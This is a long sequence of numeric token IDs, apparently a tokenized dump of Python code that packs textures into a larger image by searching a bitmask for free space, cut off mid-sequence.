29882, 1125, 13, 9651, 1583, 29889, 2966, 13168, 29879, 29889, 4397, 29898, 21591, 2588, 3101, 13, 13, 4706, 1583, 29889, 15257, 29889, 842, 17185, 29898, 29896, 29889, 29900, 847, 281, 29892, 29871, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 847, 298, 29897, 13, 4706, 1583, 29889, 29885, 29893, 29889, 842, 4308, 29898, 29900, 29892, 281, 29892, 29871, 29900, 29892, 298, 334, 1583, 29889, 3332, 29897, 13, 13, 4706, 396, 20025, 278, 12786, 515, 10150, 304, 19087, 304, 5256, 675, 13, 4706, 396, 4870, 292, 2779, 20193, 29889, 13, 4706, 19696, 4789, 4339, 353, 1583, 29889, 4776, 4789, 4339, 2059, 26887, 29889, 5975, 580, 13, 4706, 19696, 4789, 4339, 29889, 6605, 29898, 1989, 353, 14013, 534, 29901, 313, 509, 29889, 7516, 29892, 534, 29889, 386, 511, 11837, 353, 5852, 29897, 13, 13, 4706, 363, 534, 297, 19696, 4789, 4339, 29901, 13, 9651, 1583, 29889, 6689, 21898, 29898, 509, 29897, 13, 13, 1678, 822, 3402, 3505, 29898, 1311, 29892, 2159, 1125, 13, 4706, 9995, 16969, 263, 2159, 297, 13232, 29892, 476, 29933, 29892, 19289, 29892, 6514, 29889, 9995, 13, 4706, 565, 2159, 529, 29871, 29896, 29900, 29900, 29900, 29901, 13, 9651, 736, 14210, 29879, 6262, 29915, 1273, 313, 2311, 29897, 13, 4706, 2159, 847, 29922, 29871, 29896, 29900, 29906, 29946, 29889, 29900, 13, 4706, 565, 2159, 529, 29871, 29896, 29900, 29900, 29900, 29901, 13, 9651, 736, 14210, 29900, 29889, 29896, 29888, 413, 29890, 29915, 1273, 313, 2311, 29897, 13, 4706, 2159, 847, 29922, 29871, 29896, 29900, 29906, 29946, 29889, 29900, 13, 4706, 565, 2159, 529, 29871, 29896, 29900, 29900, 29900, 29901, 13, 9651, 736, 14210, 29900, 29889, 29896, 29888, 13232, 29915, 1273, 313, 2311, 29897, 13, 4706, 2159, 847, 29922, 29871, 29896, 29900, 29906, 29946, 29889, 29900, 13, 4706, 736, 14210, 29900, 29889, 29896, 29888, 19289, 29915, 1273, 313, 2311, 29897, 13, 13, 1678, 822, 443, 6689, 21898, 29898, 1311, 29892, 534, 1125, 13, 4706, 9995, 5240, 586, 267, 278, 18459, 515, 967, 2058, 373, 278, 10508, 29889, 9995, 13, 4706, 565, 534, 29889, 29886, 4620, 4110, 29901, 13, 9651, 363, 260, 29886, 297, 534, 29889, 29886, 4620, 4110, 29901, 13, 18884, 260, 29886, 29889, 8551, 21591, 13168, 29879, 29898, 1311, 29889, 2966, 13168, 29879, 29897, 13, 18884, 565, 451, 260, 29886, 29889, 2262, 287, 29901, 13, 462, 1678, 1583, 29889, 13974, 1133, 29984, 3505, 22361, 260, 29886, 29889, 6203, 13, 462, 1678, 4974, 1583, 29889, 13974, 1133, 29984, 3505, 6736, 29871, 29900, 13, 18884, 628, 1583, 29889, 4776, 29925, 4620, 4110, 29961, 9392, 29962, 13, 9651, 534, 29889, 29886, 4620, 4110, 353, 5159, 13, 9651, 534, 29889, 8551, 13200, 29898, 1311, 29897, 13, 9651, 565, 451, 534, 29889, 2262, 287, 29901, 13, 18884, 1583, 29889, 13974, 1133, 3505, 22361, 534, 29889, 2311, 13, 18884, 4974, 1583, 29889, 13974, 1133, 3505, 6736, 29871, 29900, 13, 4706, 534, 29889, 2262, 287, 353, 29871, 29900, 13, 13, 1678, 822, 2058, 21898, 29898, 1311, 29892, 534, 1125, 13, 4706, 9995, 23178, 278, 18459, 9051, 373, 278, 10508, 988, 372, 674, 13, 4706, 6216, 29889, 9995, 13, 13, 4706, 534, 29889, 26017, 29925, 9552, 3505, 29898, 1311, 29897, 13, 4706, 534, 29889, 2262, 287, 353, 29871, 29900, 13, 13, 4706, 881, 29943, 277, 353, 7700, 13, 4706, 3625, 3505, 353, 1583, 29889, 13400, 448, 1583, 29889, 13974, 1133, 3505, 13, 4706, 565, 3625, 3505, 6736, 534, 29889, 2311, 29901, 13, 9651, 881, 29943, 277, 353, 5852, 13, 9651, 3625, 29984, 3505, 353, 1583, 29889, 6203, 448, 1583, 29889, 13974, 1133, 29984, 3505, 13, 9651, 565, 3625, 29984, 3505, 529, 534, 29889, 6203, 29901, 13, 18884, 396, 450, 18459, 881, 6216, 29892, 541, 2113, 29915, 29873, 29892, 2861, 304, 4513, 2696, 13, 18884, 396, 1059, 29889, 29871, 8561, 372, 6590, 368, 7968, 29892, 577, 591, 508, 13, 18884, 396, 2058, 372, 8763, 29889, 13, 18884, 534, 29889, 6203, 353, 3625, 29984, 3505, 13, 13, 4706, 565, 881, 29943, 277, 29901, 13, 9651, 396, 7419, 363, 263, 2323, 7705, 6825, 16188, 304, 4808, 445, 8424, 29889, 13, 9651, 260, 29886, 353, 1583, 29889, 2886, 29950, 1772, 29898, 509, 29889, 6203, 29892, 534, 29889, 29893, 29892, 534, 29889, 29882, 29897, 13, 9651, 565, 260, 29886, 29901, 13, 18884, 19696, 29907, 1526, 353, 274, 1526, 29898, 509, 29889, 29893, 29892, 534, 29889, 29882, 29897, 13, 18884, 16188, 29907, 1526, 353, 274, 1526, 29898, 9392, 29889, 29886, 29961, 29896, 29962, 448, 260, 29886, 29889, 29886, 29961, 29900, 1402, 260, 29886, 29889, 29886, 29961, 29941, 29962, 448, 260, 29886, 29889, 29886, 29961, 29906, 2314, 13, 18884, 565, 19696, 29907, 1526, 2804, 29871, 29900, 322, 16188, 29907, 1526, 2804, 29871, 29900, 322, 19696, 29907, 1526, 2804, 16188, 29907, 1526, 29901, 13, 462, 1678, 260, 29886, 29889, 5450, 630, 353, 5852, 13, 18884, 534, 29889, 29886, 4620, 4110, 353, 518, 9392, 29962, 13, 18884, 534, 29889, 5675, 13200, 29898, 1311, 29897, 13, 18884, 260, 29886, 29889, 842, 21591, 13168, 29879, 29898, 1311, 29889, 2966, 13168, 29879, 29897, 13, 18884, 1583, 29889, 13974, 1133, 29984, 3505, 4619, 260, 29886, 29889, 6203, 13, 18884, 1583, 29889, 4776, 29925, 4620, 4110, 29961, 9392, 29962, 353, 534, 13, 18884, 1583, 29889, 13974, 1133, 3505, 4619, 534, 29889, 2311, 13, 18884, 736, 13, 13, 9651, 396, 6527, 29876, 29915, 29873, 1284, 263, 2323, 7705, 6825, 16188, 29889, 29871, 1334, 29915, 645, 505, 304, 13, 9651, 396, 16429, 278, 18459, 701, 964, 3196, 7968, 12785, 304, 2181, 314, 372, 13, 9651, 396, 297, 29889, 13, 9651, 260, 29886, 1293, 353, 1583, 29889, 2886, 29950, 1772, 29925, 347, 778, 29898, 509, 29889, 6203, 29897, 13, 9651, 565, 260, 29886, 1293, 29901, 13, 18884, 19696, 29907, 1526, 353, 274, 1526, 29898, 509, 29889, 29893, 29892, 534, 29889, 29882, 29897, 13, 18884, 534, 29889, 29886, 4620, 4110, 353, 260, 29886, 1293, 13, 18884, 363, 260, 29886, 297, 260, 29886, 1293, 29901, 13, 462, 1678, 16188, 29907, 1526, 353, 274, 1526, 29898, 9392, 29889, 29886, 29961, 29896, 29962, 448, 260, 29886, 29889, 29886, 29961, 29900, 1402, 260, 29886, 29889, 29886, 29961, 29941, 29962, 448, 260, 29886, 29889, 29886, 29961, 29906, 2314, 13, 462, 1678, 565, 19696, 29907, 1526, 2804, 29871, 29900, 322, 16188, 29907, 1526, 2804, 29871, 29900, 322, 19696, 29907, 1526, 2804, 16188, 29907, 1526, 29901, 13, 462, 4706, 260, 29886, 29889, 5450, 630, 353, 5852, 13, 462, 1678, 260, 29886, 29889, 842, 21591, 13168, 29879, 29898, 1311, 29889, 2966, 13168, 29879, 29897, 13, 462, 1678, 1583, 29889, 13974, 1133, 29984, 3505, 4619, 260, 29886, 29889, 6203, 13, 462, 1678, 1583, 29889, 4776, 29925, 4620, 4110, 29961, 9392, 29962, 353, 534, 13, 18884, 1583, 29889, 13974, 1133, 3505, 4619, 534, 29889, 2311, 13, 18884, 534, 29889, 5675, 13200, 29898, 1311, 29897, 13, 18884, 736, 13, 13, 4706, 396, 3387, 1235, 372, 11969, 29889, 13, 4706, 534, 29889, 2262, 287, 353, 29871, 29896, 13, 4706, 260, 29886, 353, 1583, 29889, 2886, 23773, 29950, 1772, 29898, 509, 29889, 6203, 29892, 534, 29889, 29893, 29892, 534, 29889, 29882, 29897, 13, 4706, 260, 29886, 29889, 2262, 287, 353, 29871, 29896, 13, 4706, 1550, 7431, 29898, 1311, 29889, 2966, 13168, 29879, 29897, 5277, 260, 29886, 29889, 29886, 29961, 29941, 5387, 13, 9651, 1583, 29889, 2966, 13168, 29879, 29889, 4397, 29898, 21591, 2588, 3101, 13, 13, 4706, 534, 29889, 29886, 4620, 4110, 353, 518, 9392, 29962, 13, 4706, 534, 29889, 5675, 13200, 29898, 1311, 29897, 13, 4706, 260, 29886, 29889, 842, 21591, 13168, 29879, 29898, 1311, 29889, 2966, 13168, 29879, 29897, 13, 4706, 1583, 29889, 4776, 29925, 4620, 4110, 29961, 9392, 29962, 353, 534, 13, 13, 13, 1678, 822, 1284, 29950, 1772, 29898, 1311, 29892, 4038, 29892, 281, 29892, 298, 1125, 13, 4706, 9995, 11856, 267, 363, 263, 7705, 6825, 16188, 393, 338, 472, 3203, 4038, 13, 4706, 6862, 10340, 4802, 29892, 17126, 310, 967, 8267, 29892, 541, 4218, 304, 1284, 13, 4706, 697, 393, 5304, 3802, 304, 278, 1492, 8267, 29892, 472, 3203, 29889, 29871, 960, 697, 338, 13, 4706, 1476, 29892, 3639, 385, 8210, 8490, 29925, 9552, 29936, 6467, 29892, 3639, 13, 4706, 6213, 29889, 9995, 13, 13, 4706, 565, 4038, 1275, 29871, 29900, 29901, 13, 9651, 260, 29886, 353, 8490, 29925, 9552, 29898, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 29897, 13, 9651, 736, 260, 29886, 13, 13, 4706, 396, 9664, 403, 278, 16188, 304, 14698, 937, 29889, 13, 4706, 281, 29892, 298, 353, 4236, 29898, 29893, 29892, 298, 511, 1375, 29898, 29893, 29892, 298, 29897, 13, 13, 4706, 9565, 353, 5785, 29898, 29893, 29897, 847, 5785, 29898, 29882, 29897, 13, 4706, 26532, 353, 1583, 29889, 2886, 27635, 29950, 6544, 29898, 6203, 29892, 281, 29892, 298, 29897, 13, 13, 4706, 396, 12878, 1549, 278, 1051, 322, 1284, 278, 697, 411, 278, 1900, 9565, 13, 4706, 396, 1993, 29889, 13, 4706, 7087, 353, 5159, 13, 4706, 363, 260, 6203, 29892, 260, 29886, 297, 26532, 29901, 13, 9651, 301, 29892, 364, 29892, 289, 29892, 260, 353, 260, 29886, 29889, 29886, 13, 9651, 3252, 353, 364, 448, 301, 13, 9651, 266, 353, 260, 448, 289, 13, 13, 9651, 396, 1763, 1040, 6038, 1749, 4038, 2629, 445, 16701, 29892, 920, 723, 13, 9651, 396, 591, 505, 304, 10674, 728, 372, 29973, 13, 9651, 565, 3252, 529, 281, 29901, 13, 18884, 396, 1334, 29915, 29881, 505, 304, 1207, 372, 260, 12572, 29889, 13, 18884, 302, 29882, 353, 1375, 29898, 6203, 847, 3252, 29892, 266, 29897, 13, 18884, 266, 353, 302, 29882, 13, 9651, 25342, 266, 529, 298, 29901, 13, 18884, 396, 1334, 29915, 29881, 505, 304, 1207, 372, 17655, 307, 556, 29889, 13, 18884, 302, 29893, 353, 1375, 29898, 6203, 847, 266, 29892, 3252, 29897, 13, 18884, 3252, 353, 302, 29893, 13, 9651, 1683, 29901, 13, 18884, 396, 18637, 29892, 591, 1016, 29915, 29873, 505, 304, 10674, 728, 372, 1156, 599, 29991, 29871, 3387, 13, 18884, 396, 736, 445, 16188, 29889, 13, 18884, 3252, 353, 281, 13, 18884, 266, 353, 298, 13, 13, 9651, 396, 8561, 263, 716, 260, 29886, 393, 756, 278, 1492, 4038, 29889, 13, 9651, 260, 29886, 353, 8490, 29925, 9552, 29898, 29880, 29892, 301, 718, 3252, 29892, 289, 29892, 289, 718, 266, 29897, 13, 13, 9651, 11062, 353, 5785, 29898, 3317, 29898, 7516, 29892, 266, 876, 847, 5785, 29898, 1195, 29898, 7516, 29892, 266, 876, 13, 9651, 565, 11062, 1275, 9565, 29901, 13, 18884, 736, 260, 29886, 13, 13, 9651, 1993, 353, 1375, 29898, 941, 29892, 9565, 29897, 847, 4236, 29898, 941, 29892, 9565, 29897, 13, 9651, 7087, 29889, 4397, 3552, 4352, 29892, 260, 29886, 876, 13, 13, 4706, 565, 7087, 29901, 13, 9651, 736, 4236, 29898, 20317, 9601, 29896, 29962, 13, 4706, 736, 6213, 13, 13, 1678, 822, 1284, 29950, 1772, 29925, 347, 778, 29898, 1311, 29892, 4038, 1125, 13, 4706, 9995, 16969, 263, 1051, 310, 26532, 5069, 7787, 4038, 25470, 304, 278, 2183, 13, 4706, 4038, 29892, 470, 6213, 565, 727, 526, 451, 3307, 26532, 29889, 9995, 13, 13, 4706, 396, 3824, 29892, 4078, 278, 2441, 995, 310, 1583, 29889, 4776, 29925, 4620, 4110, 29892, 1951, 13, 4706, 396, 591, 674, 367, 23815, 393, 2645, 445, 2740, 29889, 13, 4706, 7160, 26887, 29925, 4620, 4110, 353, 3509, 29889, 8552, 29898, 1311, 29889, 4776, 29925, 4620, 4110, 29897, 13, 4706, 7160, 21591, 13168, 29879, 353, 5159, 13, 4706, 363, 9922, 297, 1583, 29889, 2966, 13168, 29879, 29901, 13, 9651, 7160, 21591, 13168, 29879, 29889, 4397, 29898, 21591, 2588, 29898, 2291, 876, 13, 13, 4706, 1121, 353, 5159, 13, 13, 4706, 1550, 4038, 1405, 29871, 29900, 29901, 13, 13, 9651, 396, 1334, 505, 304, 1246, 1284, 29931, 1191, 342, 29950, 1772, 580, 1269, 931, 1549, 445, 13, 9651, 396, 2425, 29892, 2012, 310, 925, 22049, 1549, 13, 9651, 396, 1284, 27635, 29950, 6544, 580, 297, 1797, 29892, 1363, 13, 9651, 396, 1284, 27635, 29950, 6544, 580, 1795, 736, 263, 1051, 310, 975, 433, 3262, 13, 9651, 396, 26532, 29889, 13, 9651, 260, 29886, 353, 1583, 29889, 2886, 29931, 1191, 342, 29950, 1772, 580, 13, 9651, 565, 451, 260, 29886, 29901, 13, 18884, 2867, 13, 13, 9651, 301, 29892, 364, 29892, 289, 29892, 260, 353, 260, 29886, 29889, 29886, 13, 9651, 260, 29886, 13799, 353, 313, 29878, 448, 301, 29897, 334, 313, 29873, 448, 289, 29897, 13, 9651, 565, 260, 29886, 13799, 6736, 4038, 29901, 13, 18884, 396, 591, 29915, 276, 2309, 29889, 13, 18884, 3273, 264, 353, 313, 9392, 13799, 448, 4038, 29897, 847, 313, 29878, 448, 301, 29897, 13, 18884, 260, 22361, 3273, 264, 13, 18884, 260, 29886, 29889, 29886, 353, 313, 29880, 29892, 364, 29892, 289, 29892, 260, 29897, 13, 18884, 260, 29886, 29889, 6203, 353, 313, 29878, 448, 301, 29897, 334, 313, 29873, 448, 289, 29897, 13, 18884, 1121, 29889, 4397, 29898, 9392, 29897, 13, 18884, 1583, 29889, 4776, 29925, 4620, 4110, 353, 7160, 26887, 29925, 4620, 4110, 13, 18884, 1583, 29889, 2966, 13168, 29879, 353, 7160, 21591, 13168, 29879, 13, 18884, 736, 1121, 13, 13, 9651, 396, 19152, 2675, 29889, 13, 9651, 4038, 22361, 260, 29886, 13799, 13, 9651, 1121, 29889, 4397, 29898, 9392, 29897, 13, 9651, 260, 29886, 29889, 842, 21591, 13168, 29879, 29898, 1311, 29889, 2966, 13168, 29879, 29897, 13, 9651, 1583, 29889, 4776, 29925, 4620, 4110, 29961, 9392, 29962, 353, 6213, 13, 13, 4706, 396, 12895, 29882, 29892, 451, 3307, 5716, 29892, 470, 694, 901, 26532, 29889, 13, 4706, 1583, 29889, 4776, 29925, 4620, 4110, 353, 7160, 26887, 29925, 4620, 4110, 13, 4706, 1583, 29889, 2966, 13168, 29879, 353, 7160, 21591, 13168, 29879, 13, 4706, 736, 6213, 13, 13, 1678, 822, 1284, 29931, 1191, 342, 29950, 1772, 29898, 1311, 1125, 13, 4706, 26532, 353, 1583, 29889, 2886, 27635, 29950, 6544, 29898, 29900, 29897, 13, 4706, 565, 26532, 29901, 13, 9651, 736, 4236, 29898, 5391, 267, 9601, 29896, 29962, 13, 4706, 736, 6213, 13, 13, 1678, 822, 1284, 27635, 29950, 6544, 29898, 1311, 29892, 4038, 29892, 281, 353, 6213, 29892, 298, 353, 6213, 1125, 13, 4706, 9995, 10987, 29879, 263, 1051, 310, 3625, 26532, 29892, 310, 472, 3203, 278, 18694, 13, 4706, 4038, 29889, 29871, 16969, 263, 1051, 310, 5291, 2701, 29892, 988, 1269, 18761, 338, 310, 278, 13, 4706, 883, 313, 6203, 29892, 260, 29886, 467, 13, 13, 4706, 960, 281, 322, 298, 526, 1661, 29899, 8516, 29892, 445, 674, 3273, 29899, 6034, 3121, 373, 278, 937, 13, 4706, 16188, 372, 14061, 393, 23994, 281, 921, 298, 29892, 322, 736, 925, 393, 16188, 297, 263, 13, 4706, 27130, 1051, 29889, 13, 4706, 9995, 13, 13, 4706, 26532, 353, 5159, 13, 4706, 1833, 23215, 2701, 353, 731, 580, 13, 4706, 1833, 21591, 13168, 353, 6213, 13, 4706, 289, 353, 29871, 29900, 13, 4706, 1550, 289, 529, 1583, 29889, 29882, 29901, 13, 9651, 396, 922, 862, 403, 445, 1948, 964, 313, 29880, 29892, 364, 29897, 5291, 2701, 29889, 13, 9651, 289, 29885, 353, 1583, 29889, 2966, 13168, 29879, 29961, 29890, 29962, 13, 9651, 565, 289, 29885, 1275, 1833, 21591, 13168, 29901, 13, 18884, 396, 910, 1948, 338, 3721, 278, 1021, 408, 278, 1948, 2400, 29936, 694, 13, 18884, 396, 817, 304, 337, 735, 314, 457, 29889, 13, 18884, 289, 4619, 29871, 29896, 13, 18884, 6773, 13, 13, 9651, 1833, 21591, 13168, 353, 289, 29885, 13, 13, 9651, 5291, 2701, 353, 1583, 29889, 2886, 8915, 6558, 29879, 29898, 5838, 29897, 13, 9651, 716, 23215, 2701, 353, 5291, 2701, 29889, 29881, 17678, 29898, 4230, 23215, 2701, 29897, 13, 13, 9651, 363, 301, 29892, 364, 297, 716, 23215, 2701, 29901, 13, 18884, 396, 10987, 714, 920, 1880, 591, 508, 748, 411, 445, 2586, 13168, 29889, 13, 18884, 11105, 353, 18531, 2588, 29889, 3881, 29898, 29880, 29892, 364, 448, 301, 29897, 13, 18884, 260, 353, 289, 718, 29871, 29896, 13, 18884, 1550, 260, 529, 1583, 29889, 29882, 322, 313, 1311, 29889, 2966, 13168, 29879, 29961, 29873, 29962, 669, 11105, 467, 275, 24214, 7295, 13, 462, 1678, 260, 4619, 29871, 29896, 13, 13, 18884, 260, 29886, 29893, 353, 313, 29878, 448, 301, 29897, 13, 18884, 260, 561, 353, 313, 29873, 448, 289, 29897, 13, 18884, 260, 6203, 353, 260, 29886, 29893, 334, 260, 561, 13, 18884, 4974, 260, 6203, 1405, 29871, 29900, 13, 18884, 565, 260, 6203, 6736, 4038, 29901, 13, 462, 1678, 260, 29886, 353, 8490, 29925, 9552, 29898, 29880, 29892, 364, 29892, 289, 29892, 260, 29897, 13, 462, 1678, 565, 281, 322, 298, 322, 320, 13, 462, 539, 5135, 9392, 29893, 6736, 281, 322, 260, 561, 6736, 298, 29897, 470, 320, 13, 462, 4706, 313, 29873, 561, 6736, 281, 322, 260, 29886, 29893, 6736, 298, 22164, 13, 462, 4706, 396, 910, 16188, 338, 4802, 3307, 29936, 3273, 11369, 29889, 13, 462, 4706, 736, 17288, 29873, 6203, 29892, 260, 29886, 4638, 13, 13, 462, 1678, 26532, 29889, 4397, 3552, 29873, 6203, 29892, 260, 29886, 876, 13, 13, 9651, 1833, 23215, 2701, 353, 5291, 2701, 13, 9651, 289, 4619, 29871, 29896, 13, 13, 4706, 736, 26532, 13, 13, 1678, 822, 1284, 23773, 29950, 1772, 29898, 1311, 29892, 4038, 29892, 281, 29892, 298, 1125, 13, 4706, 9995, 11856, 267, 363, 263, 16188, 2919, 3307, 363, 313, 29893, 29892, 298, 511, 297, 278, 13, 4706, 11969, 2913, 29889, 29871, 4001, 278, 11969, 2913, 338, 10362, 29892, 445, 13, 4706, 674, 2337, 9269, 29889, 9995, 13, 13, 4706, 565, 281, 1405, 1583, 29889, 29893, 29901, 13, 9651, 396, 739, 2113, 29915, 29873, 6216, 2629, 278, 15276, 1144, 472, 599, 29936, 925, 5096, 372, 373, 13, 9651, 396, 278, 2246, 29889, 13, 13, 9651, 396, 2522, 273, 1623, 4940, 599, 310, 278, 4069, 2586, 13168, 29879, 393, 1122, 367, 13, 9651, 396, 5096, 287, 373, 2246, 29889, 13, 9651, 289, 353, 7431, 29898, 1311, 29889, 2966, 13168, 29879, 29897, 13, 9651, 1550, 289, 1405, 1583, 29889, 29882, 322, 1583, 29889, 2966, 13168, 29879, 29961, 29890, 448, 29871, 29896, 1822, 275, 24214, 7295, 13, 18884, 289, 22361, 29871, 29896, 13, 13, 9651, 260, 29886, 353, 8490, 29925, 9552, 29898, 29900, 29892, 281, 29892, 289, 29892, 289, 718, 298, 29897, 13, 9651, 736, 260, 29886, 13, 13, 4706, 396, 739, 23994, 2629, 278, 15276, 1144, 29936, 1284, 278, 937, 1948, 411, 3307, 13, 4706, 396, 2913, 363, 372, 29889, 13, 13, 4706, 1833, 23215, 2701, 353, 731, 580, 13, 4706, 1833, 21591, 13168, 353, 6213, 13, 4706, 289, 353, 1583, 29889, 29882, 13, 4706, 1550, 5852, 29901, 13, 9651, 565, 289, 6736, 7431, 29898, 1311, 29889, 2966, 13168, 29879, 1125, 13, 18884, 396, 5947, 278, 2246, 29889, 29871, 3387, 5967, 372, 1244, 29889, 13, 18884, 260, 29886, 353, 8490, 29925, 9552, 29898, 29900, 29892, 281, 29892, 289, 29892, 289, 718, 298, 29897, 13, 18884, 736, 260, 29886, 13, 13, 9651, 396, 922, 862, 403, 445, 1948, 964, 313, 29880, 29892, 364, 29897, 5291, 2701, 29889, 13, 9651, 289, 29885, 353, 1583, 29889, 2966, 13168, 29879, 29961, 29890, 29962, 13, 9651, 565, 289, 29885, 1275, 1833, 21591, 13168, 29901, 13, 18884, 396, 910, 1948, 338, 3721, 278, 1021, 408, 278, 1948, 2400, 29936, 694, 13, 18884, 396, 817, 304, 337, 735, 314, 457, 29889, 13, 18884, 289, 4619, 29871, 29896, 13, 18884, 6773, 13, 13, 9651, 1833, 21591, 13168, 353, 289, 29885, 13, 13, 9651, 5291, 2701, 353, 1583, 29889, 2886, 8915, 6558, 29879, 29898, 5838, 29897, 13, 9651, 716, 23215, 2701, 353, 5291, 2701, 29889, 29881, 17678, 29898, 4230, 23215, 2701, 29897, 13, 13, 9651, 363, 301, 29892, 364, 297, 716, 23215, 2701, 29901, 13, 18884, 396, 1317, 445, 5120, 9377, 3307, 29973, 13, 18884, 565, 364, 448, 301, 529, 281, 29901, 13, 462, 1678, 6773, 13, 13, 18884, 396, 1317, 372, 15655, 3307, 29973, 13, 18884, 364, 353, 301, 718, 281, 13, 18884, 11105, 353, 18531, 2588, 29889, 3881, 29898, 29880, 29892, 364, 448, 301, 29897, 13, 13, 18884, 260, 353, 289, 718, 29871, 29896, 13, 18884, 1550, 260, 529, 289, 718, 298, 322, 320, 13, 462, 418, 313, 29873, 6736, 7431, 29898, 1311, 29889, 2966, 13168, 29879, 29897, 470, 313, 1311, 29889, 2966, 13168, 29879, 29961, 29873, 29962, 669, 11105, 467, 275, 24214, 580, 1125, 13, 462, 1678, 260, 4619, 29871, 29896, 13, 13, 18884, 565, 260, 529, 289, 718, 298, 29901, 13, 462, 1678, 396, 2216, 15655, 3307, 29889, 13, 462, 1678, 6773, 13, 13, 18884, 260, 29886, 353, 8490, 29925, 9552, 29898, 29880, 29892, 364, 29892, 289, 29892, 260, 29897, 13, 18884, 736, 260, 29886, 13, 13, 9651, 1833, 23215, 2701, 353, 5291, 2701, 13, 9651, 289, 4619, 29871, 29896, 13, 13, 1678, 822, 1284, 8915, 6558, 29879, 29898, 1311, 29892, 289, 29885, 1125, 13, 4706, 9995, 922, 862, 1078, 263, 2586, 13168, 964, 263, 1051, 310, 313, 29880, 29892, 364, 29897, 5291, 2701, 29892, 13, 4706, 6590, 304, 278, 4069, 12786, 297, 278, 1948, 1546, 29871, 29900, 322, 13, 4706, 1583, 29889, 29893, 29889, 9995, 13, 13, 4706, 5291, 2701, 353, 731, 580, 13, 4706, 301, 353, 289, 29885, 29889, 657, 29931, 340, 342, 6880, 21591, 580, 13, 4706, 4974, 301, 2804, 448, 29896, 13, 4706, 565, 301, 529, 1583, 29889, 29893, 29901, 13, 9651, 364, 353, 289, 29885, 29889, 657, 9190, 16382, 261, 29928, 15622, 21591, 29898, 29880, 29897, 13, 9651, 565, 364, 1275, 301, 470, 364, 6736, 1583, 29889, 29893, 29901, 13, 18884, 364, 353, 1583, 29889, 29893, 13, 9651, 5291, 2701, 29889, 1202, 3552, 29880, 29892, 364, 876, 13, 9651, 301, 353, 289, 29885, 29889, 657, 9190, 16382, 261, 29928, 15622, 21591, 29898, 29878, 29897, 13, 9651, 1550, 301, 2804, 364, 322, 301, 529, 1583, 29889, 29893, 29901, 13, 18884, 364, 353, 289, 29885, 29889, 657, 9190, 16382, 261, 29928, 15622, 21591, 29898, 29880, 29897, 13, 18884, 565, 364, 1275, 301, 470, 364, 6736, 1583, 29889, 29893, 29901, 13, 462, 1678, 364, 353, 1583, 29889, 29893, 13, 18884, 5291, 2701, 29889, 1202, 3552, 29880, 29892, 364, 876, 13, 18884, 301, 353, 289, 29885, 29889, 657, 9190, 16382, 261, 29928, 15622, 21591, 29898, 29878, 29897, 13, 13, 4706, 736, 5291, 2701, 13, 13, 13, 1990, 8490, 9182, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1820, 29892, 19696, 29892, 2159, 29892, 6136, 1125, 13, 4706, 1583, 29889, 1989, 353, 1820, 13, 4706, 1583, 29889, 4776, 353, 19696, 13, 4706, 1583, 29889, 4925, 353, 6136, 13, 4706, 1583, 29889, 4632, 353, 6213, 13, 4706, 1583, 29889, 1727, 1080, 353, 5159, 13, 4706, 1583, 29889, 29886, 4620, 4110, 353, 5159, 13, 4706, 1583, 29889, 2262, 287, 353, 29871, 29900, 13, 13, 4706, 1583, 29889, 842, 3505, 29898, 2311, 29897, 13, 13, 1678, 822, 731, 3505, 29898, 1311, 29892, 2159, 1125, 13, 4706, 1583, 29889, 2311, 353, 2159, 13, 4706, 921, 353, 1583, 29889, 4776, 29889, 657, 29990, 3505, 580, 13, 4706, 343, 353, 1583, 29889, 4776, 29889, 657, 29979, 3505, 580, 13, 4706, 364, 353, 5785, 29898, 29891, 29897, 847, 5785, 29898, 29916, 29897, 13, 13, 4706, 396, 9160, 2159, 29892, 297, 443, 7052, 29881, 19696, 295, 10340, 29889, 13, 4706, 1583, 29889, 7516, 353, 5844, 29889, 3676, 29898, 1311, 29889, 2311, 29897, 847, 5844, 29889, 3676, 29898, 29878, 29897, 13, 4706, 1583, 29889, 386, 353, 1583, 29889, 7516, 334, 364, 13, 13, 1678, 822, 10272, 29925, 9552, 3505, 29898, 1311, 29892, 27702, 29893, 1125, 13, 4706, 1583, 29889, 29893, 353, 4236, 29898, 524, 29898, 1311, 29889, 7516, 847, 27702, 29893, 29889, 12150, 675, 718, 29871, 29900, 29889, 29945, 511, 29871, 29896, 29897, 13, 4706, 1583, 29889, 29882, 353, 4236, 29898, 524, 29898, 1311, 29889, 386, 847, 27702, 29893, 29889, 12150, 675, 718, 29871, 29900, 29889, 29945, 511, 29871, 29896, 29897, 13, 4706, 1583, 29889, 6203, 353, 1583, 29889, 29893, 334, 1583, 29889, 29882, 13, 13, 13, 1678, 822, 731, 9966, 29898, 1311, 29892, 7353, 1125, 13, 4706, 1583, 29889, 4925, 353, 7353, 13, 4706, 565, 1583, 29889, 4925, 29901, 13, 9651, 1583, 29889, 1627, 292, 29889, 8551, 3306, 580, 13, 9651, 1583, 29889, 2922, 371, 29889, 8551, 3306, 580, 13, 9651, 1583, 29889, 7543, 29889, 8551, 3306, 580, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 1627, 292, 29889, 842, 3306, 3552, 29900, 29889, 29906, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29896, 511, 29871, 29906, 29897, 13, 9651, 1583, 29889, 2922, 371, 29889, 842, 3306, 3552, 29900, 29889, 29906, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29896, 511, 29871, 29906, 29897, 13, 9651, 1583, 29889, 7543, 29889, 842, 3306, 3552, 29900, 29889, 29946, 29892, 29871, 29900, 29889, 29946, 29892, 29871, 29900, 29889, 29946, 29892, 29871, 29896, 511, 29871, 29906, 29897, 13, 13, 1678, 822, 2821, 13200, 29898, 1311, 29892, 27702, 29893, 1125, 13, 4706, 565, 1583, 29889, 4632, 29901, 13, 9651, 1583, 29889, 4632, 29889, 4801, 496, 4247, 580, 13, 9651, 1583, 29889, 4632, 353, 6213, 13, 13, 4706, 363, 364, 297, 1583, 29889, 1727, 1080, 29901, 13, 9651, 27702, 29893, 29889, 29885, 29893, 29889, 5992, 18457, 29898, 29878, 29897, 13, 4706, 1583, 29889, 1727, 1080, 353, 5159, 13, 13, 1678, 822, 1207, 13200, 29898, 1311, 29892, 27702, 29893, 1125, 13, 4706, 1583, 29889, 8551, 13200, 29898, 18276, 29893, 29897, 13, 4706, 3876, 353, 9071, 2605, 877, 4632, 1495, 13, 13, 4706, 396, 319, 1775, 371, 304, 